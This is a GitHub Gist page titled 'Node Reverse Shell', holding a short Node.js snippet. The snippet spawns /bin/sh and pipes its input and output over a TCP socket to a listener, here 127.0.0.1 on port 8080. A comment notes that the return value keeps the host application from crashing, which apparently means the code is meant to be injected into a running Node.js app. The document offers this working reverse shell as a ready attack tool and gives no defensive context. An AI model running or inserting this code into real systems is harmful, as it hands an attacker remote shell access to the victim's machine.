Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Node Reverse Shell
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment